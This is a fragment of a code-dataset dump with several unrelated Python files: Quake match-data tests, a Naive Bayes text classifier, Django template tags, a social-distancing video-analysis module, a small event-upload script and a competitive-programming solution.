r\"n\\Bartoszer\\t\\3\\model\\xaero/default\\hmodel\\xaero/default\"\n            r\"\\c1\\4\\c2\\5\\hc\\100\\w\\0\\l\\0\\rt\\0\\st\\0\")\n        data2 = (\n            r'712.9 ClientDisconnect: 1')\n\n        transformer = quake3.Q3toQL([])\n        transformer.time_offset = 0.1\n        transformer.server_domain = \"mydomain\"\n        transformer.match_guid = 'dummy'\n\n        transformer.process_raw_event(data1)\n        ev = transformer.process_raw_event(data2)\n        assert ev\n        assert ev['TYPE'] == 'PLAYER_DISCONNECT'\n        assert ev['DATA']['NAME'] == 'Bartoszer'\n        assert ev['DATA']['STEAM_ID']\n        assert ev['DATA']['TIME'] == 712.8\n        assert ev['DATA']['WARMUP'] is False\n        assert ev['DATA']['MATCH_GUID'] == 'dummy'\n\n\nclass TestMatchPreprocessor():\n    @pytest.mark.parametrize('aborted', [True, False])\n    def test_process_events_aborted(self, aborted):\n        mp = dataprovider.MatchPreprocessor()\n        events = [\n            {'TYPE': 'MATCH_STARTED', 'DATA': {'MATCH_GUID': 'dummy'}},\n            {'TYPE': 'MATCH_REPORT', 'DATA': {\n                'MATCH_GUID': 'dummy', 'ABORTED': aborted, 'GAME_LENGTH': 900}}\n        ]\n        mp.process_events(events)\n        assert aborted == mp.aborted\n\n    def test_process_events_finish_only(self):\n        mp = dataprovider.MatchPreprocessor()\n        events = [\n            {'TYPE': 'MATCH_REPORT', 'DATA': {\n                'MATCH_GUID': 'dummy', 'ABORTED': False, 'GAME_LENGTH': 900}}\n        ]\n        mp.process_events(events)\n        assert mp.finished\n        assert not mp.started\n\n    def test_process_events_start_only(self):\n        mp = dataprovider.MatchPreprocessor()\n        events = [\n            {'TYPE': 'MATCH_STARTED', 'DATA': {'MATCH_GUID': 'dummy'}},\n        ]\n        mp.process_events(events)\n        assert mp.started\n        assert not mp.finished\n        assert events[0] in mp.events\n\n    def test_process_events_warmup(self):\n        mp = dataprovider.MatchPreprocessor()\n        events = [\n            {'TYPE': 'MATCH_STARTED', 'DATA': {\n                'MATCH_GUID': 'dummy', 'WARMUP': True}},\n        ]\n        mp.process_events(events)\n        assert events[0] not in mp.events\n\n    @pytest.mark.parametrize(\n        'started,finished,aborted,result', [\n            (True, True, True, False),\n            (True, True, False, True),\n            (False, True, False, False),\n            (True, False, False, False)]\n    )\n    def test_is_valid(self, started, finished, aborted, result):\n        mp = dataprovider.MatchPreprocessor()\n        mp.started = started\n        mp.finished = finished\n        mp.aborted = aborted\n        assert mp.is_valid() is result\n\n\nclass TestMatchCollector():\n    @pytest.fixture\n    def mc(self):\n        return collector.MatchCollector('/tmp/ql')\n\n    def test_init(self):\n        mc = collector.MatchCollector('/tmp/ql')\n        assert mc\n\n    def test_process_event(self, mc):\n        dummy_event = {}\n        with ExitStack() as stack:\n            stack.enter_context(mock.patch.object(mc, 'validate_match'))\n            stack.enter_context(mock.patch.object(mc, 'save_match'))\n            stack.enter_context(mock.patch.object(mc.feeder, 'feed'))\n            stack.enter_context(mock.patch.object(mc, 'save_invalid'))\n\n            mc.process_event(dummy_event)\n            assert mc.feeder.feed.called\n            assert not mc.validate_match.called\n\n            mc.feeder.feed.side_effect = FeedFull('Feed full')\n            mc.validate_match.side_effect = lambda self: None\n            mc.process_event(dummy_event)\n\n            mc.validate_match.assert_called()\n            mc.save_match.assert_not_called()\n            mc.save_invalid.assert_called()\n\n            mc.save_match.reset()\n            mc.save_invalid.reset()\n\n            mc.validate_match.side_effect = lambda self: {\"EVENTS\": []}\n            mc.process_event(dummy_event)\n            assert mc.validate_match.called\n            assert mc.save_match.called\n\n    def test_validate_match(self, mc):\n        match_info = {\"EVENTS\": []}\n        result = mc.validate_match(match_info)\n        assert result is None\n\n        match_info = {\"EVENTS\": [\n            {\"TYPE\": \"MATCH_REPORT\", 'DATA': {\n                'GAME_LENGTH': 10, 'ABORTED': False, 'MATCH_GUID': 'MEH'}}\n        ]}\n        with mock.patch(\n            'quakestats.dataprovider.quakelive.'\n            'collector.MatchPreprocessor.is_valid'\n        ):\n            res = mc.validate_match(match_info)\n            assert res['MATCH_GUID'] == 'MEH'\n            assert res['EVENTS']\n\n    def test_save_match(self, mc):\n        mock_open = mock.mock_open()\n        with ExitStack() as stack:\n            stack.enter_context(mock.patch(\n                'quakestats.dataprovider.quakelive.'\n                'collector.open', mock_open))\n            rename = stack.enter_context(mock.patch(\n                'quakestats.dataprovider.quakelive.collector.os.rename'))\n            match_info = {\"MATCH_GUID\": 'dummy'}\n\n            mc.save_match(match_info)\n            mock_open.assert_called_once_with(\n                '/tmp/ql/match-dummy.tmp', 'w')\n\n            rename.assert_called_once_with(\n                '/tmp/ql/match-dummy.tmp', '/tmp/ql/match-dummy.json')\n","sub_path":"tests/test_dataprovider.py","file_name":"test_dataprovider.py","file_ext":"py","file_size_in_byte":17763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"193830700","text":"# -*- coding: utf-8 -*-\n\n#Importing essential packages\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport glob\nimport re\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import accuracy_score\n\n#training function to import the data\ndef load_data(fname,label):\n    configfiles = glob.glob(fname)\n    labels=[]\n    b=[]\n    listdata=[]\n    for files in configfiles:\n        f=open(files)\n        data=f.readlines()[15:]\n        for i in data:\n            k=re.sub(r'[^\\w\\s]','',i)\n            k=k.lower()\n            k=k.strip()\n            listdata.append(k)\n    b=['.'.join(listdata)]\n    labels.append(label)\n    return b,labels\n    \n#test function to import the data \ndef load_data_test(fname,label):\n    configfiles = glob.glob(fname)\n    labels=[]\n    a=[]\n    listdata=[]\n    for files in configfiles:\n        listdata=[]\n        f=open(files)\n        data=f.readlines()[15:]\n        for i in data:\n            new_file=[]\n            k=re.sub(r'[^\\w\\s]','',i)\n            k=k.lower()\n            k=k.strip()\n            listdata.append(k)\n        new_file=' '.join(listdata)\n        a.append(new_file)\n        labels.append(label)\n    return a,labels\n    \n#Importing the training data      \ncomp_data, comp_lab =load_data('C:/python/training/comp/*','comp')\npolitics_data, politics_lab=load_data('C:/python/training/politics/*','politics')\nrec_data, rec_lables=load_data('C:/python/training/rec/*','rec')\nsports_data, sports_lab=load_data('C:/python/training/sports/*','sports')  \n\n#Importing the test data\nte_comp_data,te_comp_lab =load_data_test('C:/python/testing/comp/*','comp')\nte_politics_data, te_politics_lab=load_data_test('C:/python/testing/politics/*','politics')\nte_rec_data, te_rec_lab=load_data_test('C:/python/testing/rec/*','rec')\nte_sports_data, te_sports_lab=load_data_test('C:/python/testing/sports/*','sports')  \n\n#Combining train data \ntrain_data= comp_data+politics_data+rec_data+sports_data\ntrain_lab= comp_lab+politics_lab+rec_lables+sports_lab\n\n#Combining train data\ntest_data= te_comp_data+te_politics_data+te_rec_data+te_sports_data\ntest_lab= te_comp_lab+te_politics_lab+te_rec_lab+te_sports_lab  \n\n#Build a counter based on the training dataset\ncounter=CountVectorizer()\ncounter.fit(train_data)\n\n#count the number of times each term appears in a document and transform each doc into a count vector\ncou_train=counter.transform(train_data) # for train_data\ncou_test=counter.transform(test_data) #for test_data\n\n#train classifier\nclf=MultinomialNB(alpha=0.1)\n\n#train all classifier on the same datasets\nclf.fit(cou_train,train_lab)\n\n#predicting the values for test data set\npred=clf.predict(cou_test)\n\n#printing the accuracy\nprint(accuracy_score(pred,test_lab))\n\n\n     \n\n","sub_path":"20nsg.py","file_name":"20nsg.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"94081071","text":"from datetime import datetime\n\nfrom django import template\n\nfrom ..models import BlogEntries\n\nregister = template.Library()\n\n@register.simple_tag\ndef current_time():\n    myDate = datetime.now()\n    formatedDate = myDate.strftime(\"%Y-%m-%d %H:%M:%S\")\n    return formatedDate\n\n@register.inclusion_tag('fetch_blog.html')\ndef fetch_blogentries():\n   queryset = BlogEntries.objects.all()\n   context = {\n       \"entries\": queryset\n   }\n   return context\n","sub_path":"templatetags/mytags.py","file_name":"mytags.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"219423565","text":"import cv2\nimport base64\nimport numpy as np\nfrom matplotlib.cm import get_cmap\nimport matplotlib\nfrom matplotlib.colors import LinearSegmentedColormap\nfrom matplotlib.colors import Normalize\nfrom scipy.spatial import cKDTree\nimport itertools\n\n# Homography\n# Calculate Transformation Matrix given 4 points in camera image and map image (F = final homography matrix)\n# Calculate max-x and max-y values of map image\n# pts_src = np.array([[297, 179], [41, 562], [1750, 530],[1517, 154]])\n# pts_dst = np.array([[0, 0], [0, 270], [480, 270],[480, 0]])\n# h, status = cv2.findHomography(pts_src, pts_dst)\n# P = np.array([[0,1920,1920,0],[0,0,1080,1080],[1,1,1,1]])\n# h_ = h.dot(P)\n# min_x, min_y = np.min(h_[0] / h_[2]), np.min(h_[1]/h_[2])\n# max_x, max_y = int(np.max(h_[0] / h_[2])), int(np.max(h_[1]/h_[2]))\n# trans_mat = np.array([[1,0,-min_x], [0,1,-min_y],[0,0,1]])\n# F = trans_mat.dot(h)\n# h__ = F.dot(P)\n# max_x, max_y = int(np.max(h__[0] / h__[2])), int(np.max(h__[1] / h__[2]))\n\n# Function which is called by SAS Event Stream Processing - Output: Combined image of camera view and map view\ndef func_social_distancing(image, _nObjects_, \n                      _Object0_, _P_Object0_, _Object0_x, _Object0_y, _Object0_width, _Object0_height,\n                      _Object1_, _P_Object1_, _Object1_x, _Object1_y, _Object1_width, _Object1_height,\n                      _Object2_, _P_Object2_, _Object2_x, _Object2_y, _Object2_width, _Object2_height,\n                      _Object3_, _P_Object3_, _Object3_x, _Object3_y, _Object3_width, _Object3_height,\n                      _Object4_, _P_Object4_, _Object4_x, _Object4_y, _Object4_width, _Object4_height,\n                      _Object5_, _P_Object5_, _Object5_x, _Object5_y, _Object5_width, _Object5_height,\n                      _Object6_, _P_Object6_, _Object6_x, _Object6_y, _Object6_width, _Object6_height,\n                      _Object7_, _P_Object7_, _Object7_x, _Object7_y, _Object7_width, _Object7_height,\n                      _Object8_, _P_Object8_, _Object8_x, _Object8_y, _Object8_width, _Object8_height,\n                      _Object9_, _P_Object9_, _Object9_x, _Object9_y, _Object9_width, _Object9_height,\n                      _Object10_, _P_Object10_, _Object10_x, _Object10_y, _Object10_width, _Object10_height,\n                      _Object11_, _P_Object11_, _Object11_x, _Object11_y, _Object11_width, _Object11_height,\n                      _Object12_, _P_Object12_, _Object12_x, _Object12_y, _Object12_width, _Object12_height,\n                      _Object13_, _P_Object13_, _Object13_x, _Object13_y, _Object13_width, _Object13_height,\n                      _Object14_, _P_Object14_, _Object14_x, _Object14_y, _Object14_width, _Object14_height,\n                      _Object15_, _P_Object15_, _Object15_x, _Object15_y, _Object15_width, _Object15_height,\n                      _Object16_, _P_Object16_, _Object16_x, _Object16_y, _Object16_width, _Object16_height,\n                      _Object17_, _P_Object17_, _Object17_x, _Object17_y, _Object17_width, _Object17_height,\n                      _Object18_, _P_Object18_, _Object18_x, _Object18_y, _Object18_width, _Object18_height,\n                      _Object19_, _P_Object19_, _Object19_x, _Object19_y, _Object19_width, _Object19_height,\n                      _Object20_, _P_Object20_, _Object20_x, _Object20_y, _Object20_width, _Object20_height,\n                      _Object21_, _P_Object21_, _Object21_x, _Object21_y, _Object21_width, _Object21_height,\n                      _Object22_, _P_Object22_, _Object22_x, _Object22_y, _Object22_width, _Object22_height,\n                      _Object23_, _P_Object23_, _Object23_x, _Object23_y, _Object23_width, _Object23_height,\n                      _Object24_, _P_Object24_, _Object24_x, _Object24_y, _Object24_width, _Object24_height,\n                      _Object25_, _P_Object25_, _Object25_x, _Object25_y, _Object25_width, _Object25_height,\n                      _Object26_, _P_Object26_, _Object26_x, _Object26_y, _Object26_width, _Object26_height,\n                      _Object27_, _P_Object27_, _Object27_x, _Object27_y, _Object27_width, _Object27_height,\n                      _Object28_, _P_Object28_, _Object28_x, _Object28_y, _Object28_width, _Object28_height,\n                      _Object29_, _P_Object29_, _Object29_x, _Object29_y, _Object29_width, _Object29_height,\n                      _Object30_, _P_Object30_, _Object30_x, _Object30_y, _Object30_width, _Object30_height,\n                      _Object31_, _P_Object31_, _Object31_x, _Object31_y, _Object31_width, _Object31_height,\n                      _Object32_, _P_Object32_, _Object32_x, _Object32_y, _Object32_width, _Object32_height,\n                      _Object33_, _P_Object33_, _Object33_x, _Object33_y, _Object33_width, _Object33_height,\n                      _Object34_, _P_Object34_, _Object34_x, _Object34_y, _Object34_width, _Object34_height,\n                      _Object35_, _P_Object35_, _Object35_x, _Object35_y, _Object35_width, _Object35_height,\n                      _Object36_, _P_Object36_, _Object36_x, _Object36_y, _Object36_width, _Object36_height,\n                      _Object37_, _P_Object37_, _Object37_x, _Object37_y, _Object37_width, _Object37_height,\n                      _Object38_, _P_Object38_, _Object38_x, _Object38_y, _Object38_width, _Object38_height,\n                      _Object39_, _P_Object39_, _Object39_x, _Object39_y, _Object39_width, _Object39_height,\n                      _Object40_, _P_Object40_, _Object40_x, _Object40_y, _Object40_width, _Object40_height,\n                      _Object41_, _P_Object41_, _Object41_x, _Object41_y, _Object41_width, _Object41_height,\n                      _Object42_, _P_Object42_, _Object42_x, _Object42_y, _Object42_width, _Object42_height,\n                      _Object43_, _P_Object43_, _Object43_x, _Object43_y, _Object43_width, _Object43_height,\n                      _Object44_, _P_Object44_, _Object44_x, _Object44_y, _Object44_width, _Object44_height,\n                      _Object45_, _P_Object45_, _Object45_x, _Object45_y, _Object45_width, _Object45_height,\n                      _Object46_, _P_Object46_, _Object46_x, _Object46_y, _Object46_width, _Object46_height,\n                      _Object47_, _P_Object47_, _Object47_x, _Object47_y, _Object47_width, _Object47_height,\n                      _Object48_, _P_Object48_, _Object48_x, _Object48_y, _Object48_width, _Object48_height,\n                      _Object49_, _P_Object49_, _Object49_x, _Object49_y, _Object49_width, _Object49_height,\n                      _Object50_, _P_Object50_, _Object50_x, _Object50_y, _Object50_width, _Object50_height):\n    \"Output: scored_image\"\n    variables = locals()\n    # Decode and copy image from SAS Event Stream Processing\n    image = cv2.imdecode(np.frombuffer(image, np.uint8), 1)\n    func_image = image.copy()\n    # Get objects from model scoring\n    objs = []\n    for object_number in range(0, int(_nObjects_)):\n        obj_l = variables['_Object{}_'.format(object_number)].strip()\n        obj_x = int(variables['_Object{}_x'.format(object_number)]*image_shape[1])\n        obj_y = int(variables['_Object{}_y'.format(object_number)]*image_shape[0])\n        obj_w = int(variables['_Object{}_width'.format(object_number)]*image_shape[1])\n        obj_h = int(variables['_Object{}_height'.format(object_number)]*image_shape[0])\n        x1, x2, y1, y2 = int(obj_x-obj_w/2), int(obj_x+obj_w/2), int(obj_y-obj_h/2), int(obj_y+obj_h/2)\n        obj = objs.append([obj_x,obj_y,x1,y1,x2,y2])   #x,y,x1,y1,x2,y2\n    objs = np.array(objs,dtype=np.int32)\n    # Calculate distances and visualize objects on image and map\n    func_image, map2d = calc_visualize(func_image,objs, map_view)\n    if map_view == True:\n        # Create combined image (for return if no objects found)\n        offset = 20\n        combined = np.zeros([1080,1920+max_x+offset,3], np.uint8)\n        # Write number of persons on image, colored based on number of persons\n        cmap = LinearSegmentedColormap.from_list(\"\", [\"green\",\"yellow\",\"red\"])\n        norm = matplotlib.colors.Normalize(vmin=25, vmax=35, clip=True)\n        color = np.array(cmap(norm(_nObjects_))[0:3])*255\n        color = (color[2],color[1],color[0])\n        cv2.putText(map2d, 'Number of persons:', (50,50), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2, cv2.LINE_AA)\n        cv2.putText(map2d, str('{}'.format(_nObjects_)), (400,50), cv2.FONT_HERSHEY_SIMPLEX, 1, color, 2, cv2.LINE_AA)\n        # Combine image and map to single output-image\n        combined[:1080,:1920] = func_image\n        combined[:max_y,1920+offset:1920+offset+max_x] = map2d\n        # Encode image for SAS Event Stream Processing\n        ret, scored_image = cv2.imencode('.JPEG', combined)\n    else:\n        ret, scored_image = cv2.imencode('.JPEG', func_image)\n    scored_image = scored_image.tobytes()\n    return scored_image\n\n# Helpfer function to return transformed x,y-values given a homography matrix\ndef toworld(xy):\n    imagepoint = [xy[0], xy[1], 1]\n    worldpoint = np.array(np.dot(np.array(F),imagepoint))\n    scalar = worldpoint[2]\n    xworld = int(worldpoint[0]/scalar)\n    yworld = int(worldpoint[1]/scalar)\n    return xworld, yworld\n\n# Helper function to return x,y-coordinate pairs and distance for drawing lines\ndef get_line_coordinates(pair, objects, map_view):\n    pair_dst = pair[2]\n    pair_coords = pair[0:2]\n    if map_view == True:\n        pair_coords = objects[[pair_coords[0],pair_coords[1]]][:,[0,1,6,7]].flatten()\n    else:\n        pair_coords = objects[[pair_coords[0],pair_coords[1]]][:,[0,1]].flatten()\n    pair_data = np.append(pair_coords,pair_dst)\n    return pair_data\n\n# Crowd detection function\ndef crowd_detection(objects, max_distance, viz_type, min_persons, map_view):\n    if map_view == True:\n        tree_ball = cKDTree(objects[:,[6,7]])\n    else:\n        tree_ball = cKDTree(objects[:,[0,1]])\n    crowds = tree_ball.query_ball_tree(tree_ball, max_distance)\n    crowds.sort()\n    crowds = list(object for object,_ in itertools.groupby(crowds))\n    crowd_size = np.array([len(crowd) for crowd in crowds])\n    crowd_coords = np.array([], dtype=np.int16)\n    if viz_type == 'image':\n        for crowd in crowds:\n            coords = get_crowd_coordinates(crowd, objects, 10, 'image')\n            crowd_coords = np.append(crowd_coords, coords)\n    if viz_type == 'map':\n        for crowd in crowds:\n            coords = get_crowd_coordinates(crowd, objects, 10, 'map')\n            crowd_coords = np.append(crowd_coords, coords)\n    crowd_coords = crowd_coords.reshape(int(len(crowd_coords)/4),4)\n    crowd_data = np.column_stack((crowd_coords,crowd_size))\n    crowd_data = crowd_data[np.argwhere(crowd_data[:,4] >= min_persons)].reshape(len(np.argwhere(crowd_data[:,4] >= min_persons)),5)\n    return crowd_data\n\n# Helper function to retrieve crowd coordinates\ndef get_crowd_coordinates(crowd, objects, offset, viz_type):\n    if viz_type == 'image':\n        min_x, min_y = np.min(objects[crowd,2]), np.min(objects[crowd,3])\n        max_x, max_y = np.max(objects[crowd,4]), np.max(objects[crowd,5])\n    if viz_type == 'map':\n        min_x, min_y = np.min(objects[crowd,6]), np.min(objects[crowd,7])\n        max_x, max_y = np.max(objects[crowd,6]), np.max(objects[crowd,7])\n    return np.array([min_x-offset, min_y-offset, max_x+offset, max_y+offset], dtype=np.int16)\n\n# Helper function to check if one box is inside another\ndef intersection(box0,box1):\n    if box0[0] >= box1[0] and box0[1] >= box1[1]: \n        if box0[2] <= box1[2] and box0[3] <= box1[3]:\n            return True #box inside\n    return False #box not inside\n\n# Helper function to suppress detected crowds that are inside another crowd (only show main crowd)\ndef crowd_suppression(crowd_data):\n    crowd_data_filtered = np.array([],dtype=np.int16)\n    for i in range(len(crowd_data)):\n        is_inside = False\n        for j in range(len(crowd_data)):\n            if i==j:\n                continue\n            if intersection(crowd_data[i],crowd_data[j]):\n                is_inside = True\n        if is_inside == False:\n            crowd_data_filtered = np.append(crowd_data_filtered, crowd_data[i])\n    crowd_data_filtered = crowd_data_filtered.reshape(int(len(crowd_data_filtered)/5),5)\n    x = np.random.rand(crowd_data_filtered.shape[1])\n    y = crowd_data_filtered.dot(x)\n    unique, index = np.unique(y, return_index = True)\n    crowd_data_filtered = crowd_data_filtered[index]\n    return crowd_data_filtered\n\n# Main function to calculate distances and to create visualization\ndef calc_visualize(func_image, objects, map_view):\n    if map_view == True:\n        if len(objects) == 0:\n            map2d = np.ones([max_y, max_x,3],dtype=np.int8)\n            return func_image, map2d\n        # Create Colormap\n        cmap = LinearSegmentedColormap.from_list(\"\", [\"red\",\"yellow\",\"green\"])\n        # Create empty Map and combined image\n        map2d = np.ones([max_y, max_x,3],dtype=np.int8)\n        offset = 20\n        combined = np.zeros([1080,1920+max_x+offset,3], np.uint8)\n        # Transform x,y coordinates (adapt to camera angle based on calculated homography)\n        objects_x_y_transformed = np.apply_along_axis(toworld, 1, objects[:,0:2])\n        objects = np.column_stack((objects, objects_x_y_transformed)) #x,y,x1,y1,x2,y2,map_x,map_y\n        # Get distances for transformed coordinates for all objects using KD-Tree - set distance to 255 if distance > threshold\n        tree = cKDTree(objects_x_y_transformed)\n        t_dst = tree.sparse_distance_matrix(tree, max_distance_detection)\n        t_dst = t_dst.toarray()\n        t_dst = np.array(t_dst, dtype=np.int32)\n        t_dst2 = t_dst.copy()\n        t_dst2[np.where(t_dst2==0)]=255\n        objects = np.column_stack((objects,np.min(t_dst2,1))) #x,y,x1,y1,x2,y2,map_x,map_y,distance -> get minimum distance to another object for each object (to draw bounding boxes and points)\n        # Create distance lines\n        near_pairs = np.column_stack((np.argwhere(t_dst > 0),t_dst[np.nonzero(t_dst)]))\n        # Get coordinates for drawing lines\n        if len(near_pairs) > 0:\n            near_pairs = np.apply_along_axis(get_line_coordinates, 1, near_pairs, objects, map_view)\n        # Draw object bounding boxes, colored based on minimum distance to another person\n        for object_ in objects:\n            norm = matplotlib.colors.Normalize(vmin=0, vmax=max_distance_detection, clip=True)\n            color = np.array(cmap(norm(object_[8]))[0:3])*255\n            color = (color[2],color[1],color[0])\n            if int(object_[8]) < 255:\n                cv2.putText(func_image, str(int(object_[8])), (object_[0],object_[1]), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 2, cv2.LINE_AA)\n            cv2.rectangle(func_image, (int(object_[2]),int(object_[3])), (int(object_[4]),int(object_[5])), color, 2) #x1,y1,x2,y2,color,linestrength \n            cv2.circle(map2d, (int(object_[6]),int(object_[7])), 10, color, -1)\n        # Draw lines between objects, colored based on distance\n        for line_ in near_pairs:\n            norm = matplotlib.colors.Normalize(vmin=0, vmax=max_distance_detection, clip=True)\n            color = np.array(cmap(norm(line_[8]))[0:3])*255\n            color = (color[2],color[1],color[0])\n            text_pt_x = int((int(line_[0])+int(line_[4])) / 2)\n            text_pt_y = int((int(line_[1])+int(line_[5])) / 2)\n            cv2.putText(func_image, str(int(line_[8])), (text_pt_x,text_pt_y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 2, cv2.LINE_AA)\n            cv2.line(func_image,(int(line_[0]),int(line_[1])),(int(line_[4]),int(line_[5])),color,2)\n            text_pt_x_map = int((int(line_[2])+int(line_[6])) / 2)\n            text_pt_y_map = int((int(line_[3])+int(line_[7])) / 2)\n            cv2.putText(map2d, str(int(line_[8])), (text_pt_x_map,text_pt_y_map), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 2, cv2.LINE_AA)\n            cv2.line(map2d,(int(line_[2]),int(line_[3])),(int(line_[6]),int(line_[7])),color,2)\n        # Detect and draw crowds for image (based on transformed coordinates)\n        crowd_data = crowd_detection(objects, max_distance_detection_crowd, 'image', min_crowd_size, map_view)\n        crowd_data = crowd_suppression(crowd_data)\n        for crowd in crowd_data:\n            border_offset=3\n            (label_width, label_height), baseline = cv2.getTextSize('Crowdsize: X', cv2.FONT_HERSHEY_DUPLEX, 0.6, 1)\n            cv2.rectangle(func_image,(crowd[0],crowd[1]),(crowd[0]+label_width+10,crowd[1]-label_height-border_offset-10),(255,0,0),-1)\n            cv2.putText(func_image, 'Crowdsize: {}'.format(crowd[4]), (crowd[0]+5, crowd[1]-border_offset-5), cv2.FONT_HERSHEY_DUPLEX, 0.6, (255, 255, 255), 1, cv2.LINE_AA)\n            cv2.rectangle(func_image, (int(crowd[0]),int(crowd[1])), (int(crowd[2]),int(crowd[3])), (255,0,0), 2)\n        # Detect and draw crowds for map (based on transformed coordinates)\n        crowd_data = crowd_detection(objects, max_distance_detection_crowd, 'map', min_crowd_size, map_view)\n        crowd_data = crowd_suppression(crowd_data)\n        for crowd in crowd_data:\n            border_offset=3\n            (label_width, label_height), baseline = cv2.getTextSize('Crowdsize: X', cv2.FONT_HERSHEY_DUPLEX, 0.6, 1)\n            cv2.rectangle(map2d,(crowd[0],crowd[1]),(crowd[0]+label_width+10,crowd[1]-label_height-border_offset-10),(255,0,0),-1)\n            cv2.putText(map2d, 'Crowdsize: {}'.format(crowd[4]), (crowd[0]+5, crowd[1]-border_offset-5), cv2.FONT_HERSHEY_DUPLEX, 0.6, (255, 255, 255), 1, cv2.LINE_AA)\n            cv2.rectangle(map2d, (int(crowd[0]),int(crowd[1])), (int(crowd[2]),int(crowd[3])), (255,255,255), 2)\n        ### If no homography available ...\n    if map_view == False:\n        map2d = None\n        # Create Colormap\n        cmap = LinearSegmentedColormap.from_list(\"\", [\"red\",\"yellow\",\"green\"])\n        # Get distances for coordinates for all objects using KD-Tree - set distance to 255 if distance > threshold\n        objects_x_y =  objects[:,0:2]#np.apply_along_axis(toworld, 1, objects[:,0:2])\n        tree = cKDTree(objects_x_y)\n        t_dst = tree.sparse_distance_matrix(tree, max_distance_detection)\n        t_dst = t_dst.toarray()\n        t_dst = np.array(t_dst, dtype=np.int32)\n        t_dst2 = t_dst.copy()\n        t_dst2[np.where(t_dst2==0)]=255\n        objects = np.column_stack((objects,np.min(t_dst2,1))) #x,y,x1,y1,x2,y2,map_x,map_y,distance -> get minimum distance to another object for each object (to draw bounding boxes and points)\n        # Create distance lines\n        near_pairs = np.column_stack((np.argwhere(t_dst > 0),t_dst[np.nonzero(t_dst)]))\n        # Get coordinates for drawing lines\n        if len(near_pairs) > 0:\n            near_pairs = np.apply_along_axis(get_line_coordinates, 1, near_pairs, objects, map_view)\n        # Draw object bounding boxes, colored based on minimum distance to another person\n        for object_ in objects:\n            norm = matplotlib.colors.Normalize(vmin=0, vmax=max_distance_detection, clip=True)\n            color = np.array(cmap(norm(object_[6]))[0:3])*255\n            color = (color[2],color[1],color[0])\n            if int(object_[6]) < 255:\n                cv2.putText(func_image, str(int(object_[6])), (object_[0],object_[1]), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 2, cv2.LINE_AA)\n            cv2.rectangle(func_image, (int(object_[2]),int(object_[3])), (int(object_[4]),int(object_[5])), color, 2) #x1,y1,x2,y2,color,linestrength \n        # Draw lines between objects, colored based on distance\n        for line_ in near_pairs:\n            norm = matplotlib.colors.Normalize(vmin=0, vmax=max_distance_detection, clip=True)\n            color = np.array(cmap(norm(line_[4]))[0:3])*255\n            color = (color[2],color[1],color[0])\n            text_pt_x = int((int(line_[0])+int(line_[2])) / 2)\n            text_pt_y = int((int(line_[1])+int(line_[3])) / 2)\n            cv2.putText(func_image, str(int(line_[3])), (text_pt_x,text_pt_y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 2, cv2.LINE_AA)\n            cv2.line(func_image,(int(line_[0]),int(line_[1])),(int(line_[2]),int(line_[3])),color,2)\n        # Detect and draw crowds for image\n        crowd_data = crowd_detection(objects, max_distance_detection_crowd, 'image', min_crowd_size, map_view)\n        crowd_data = crowd_suppression(crowd_data)\n        for crowd in crowd_data:\n            border_offset=3\n            (label_width, label_height), baseline = cv2.getTextSize('Crowdsize: X', cv2.FONT_HERSHEY_DUPLEX, 0.6, 1)\n            cv2.rectangle(func_image,(crowd[0],crowd[1]),(crowd[0]+label_width+10,crowd[1]-label_height-border_offset-10),(255,0,0),-1)\n            cv2.putText(func_image, 'Crowdsize: {}'.format(crowd[4]), (crowd[0]+5, crowd[1]-border_offset-5), cv2.FONT_HERSHEY_DUPLEX, 0.6, (255, 255, 255), 1, cv2.LINE_AA)\n            cv2.rectangle(func_image, (int(crowd[0]),int(crowd[1])), (int(crowd[2]),int(crowd[3])), (255,0,0), 2)\n    return func_image, map2d ","sub_path":"Social Distancing Demo/.ipynb_checkpoints/social_distancing2-checkpoint.py","file_name":"social_distancing2-checkpoint.py","file_ext":"py","file_size_in_byte":20915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"560231632","text":"# -*- coding: utf-8 -*-\nimport requests\n\nimport json\nimport codecs\nwith codecs.open('eventDoc.json', 'r','utf-8') as f:\n    event_json = json.load(f)\n    db_url = event_json['dbUrl']\n    print(db_url)\n\n    r1 = requests.get(db_url)\n    doc = r1.json()[0]\n    print(doc['_id'])\n    putUrl = 'http://rtmp.icassi.us:8090/event/' + doc['_id']\n\n    event_jstr = json.dumps(event_json,ensure_ascii=False)\n    headers = {'Content-Type': 'application/json'} \n     \n    # print(event_json)\n    print(event_json['playerMap'])\n    # doc['doc'] = event_jstr\n    doc['event_json'] = event_jstr\n\n    put1 = requests.put(putUrl, data=doc)\n    print(put1.status_code)\n    print('上传之后8090去到event开打数据再保存一次')\n\n","sub_path":"utils/eventPut.py","file_name":"eventPut.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"309848937","text":"\"\"\"\n思考\nN <= 10 ** 5\nO(N)は通る\n\nすでにpi != iのところは置き換えたくない\n隣同士しか変えられない\n\n隣もpi == iだったら喜んで変える\n基本的に後ろのやつと変えると固定\n\"\"\"\n\nN = int(input())\nP = list(map(int, input().split( )))\n\ncount = 0\nfor i in range(len(P) - 1):\n    if i + 1 != P[i]:\n        continue\n    else:\n        P_temp = P[i]\n        P[i] = P[i + 1]\n        P[i + 1] = P_temp\n        count += 1\n\nif N == P[N-1]:\n    print(count + 1)\n    exit()\n\nprint(count)","sub_path":"Python_codes/p03612/s229141059.py","file_name":"s229141059.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
